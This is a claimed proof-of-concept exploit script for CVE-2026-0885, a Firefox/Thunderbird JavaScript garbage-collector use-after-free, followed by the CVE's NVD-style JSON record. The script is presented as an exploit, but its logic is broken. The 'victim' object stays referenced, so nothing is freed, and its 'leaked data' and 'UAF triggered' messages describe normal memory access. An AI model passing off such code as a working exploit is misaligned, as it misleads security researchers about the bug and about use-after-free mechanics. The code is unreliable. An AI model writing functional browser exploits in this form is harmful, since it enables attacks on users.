CVE-2026-0885

// CVE-2026-0885 PoC - Firefox/Thunderbird JavaScript GC Use-after-free // This PoC demonstrates triggering the Use-after-free condition in JavaScript GC function triggerGC() { // Force garbage collection by creating memory pressure let arrays = []; for (let i = 0; i < 100; i++) { arrays.push(new Array(10000)); } arrays = null; } function createUAFCondition() { // Create objects that will be subject to UAF let targetObjects = []; // Create objects with cross-references for (let i = 0; i < 10; i++) { let obj = { data: new Array(100).fill(Math.random()), callback: null }; targetObjects.push(obj); } // Establish circular references for (let i = 0; i < targetObjects.length; i++) { targetObjects[i].callback = targetObjects[(i + 1) % targetObjects.length]; } return targetObjects; } function exploit() { console.log("Starting CVE-2026-0885 PoC..."); // Phase 1: Create UAF-prone objects let objects = createUAFCondition(); // Phase 2: Clear references and trigger GC let victim = objects[0]; objects = null; // Trigger garbage collection if (typeof window !== 'undefined' && window.GC) { window.GC(); } triggerGC(); // Phase 3: Access potentially freed memory try { // This may trigger UAF condition console.log("Accessing victim object after GC..."); let leakedData = victim.data; console.log("Leaked data length:", leakedData ? leakedData.length : "null"); // Attempt to read freed memory contents if (victim.callback) { console.log("Callback accessible:", typeof victim.callback); } } catch (e) { console.error("UAF triggered - Error:", e.message); } console.log("PoC execution completed"); } // Execute the PoC try { exploit(); } catch (e) { console.error("PoC Error:", e); } // Note: This PoC is for educational purposes only // Actual exploitation requires specific memory layout manipulation

{"cve": {"id": "CVE-2026-0885", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:39.050", "lastModified": "2026-04-13T15:17:17.567", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the JavaScript: GC component. This vulnerability was fixed in Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7."}, {"lang": "es", "value": "Uso después de liberación en el componente JavaScript: GC. Esta vulnerabilidad afecta a Firefox &lt; 147, Firefox ESR &lt; 140.7, Thunderbird &lt; 147, y Thunderbird &lt; 140.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "A2FC50B3-5A36-4702-8CF6-CC732E3B148B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "BFBAB968-3244-4970-8D02-CCF9D5FB958D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2003607", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-03/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-05/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}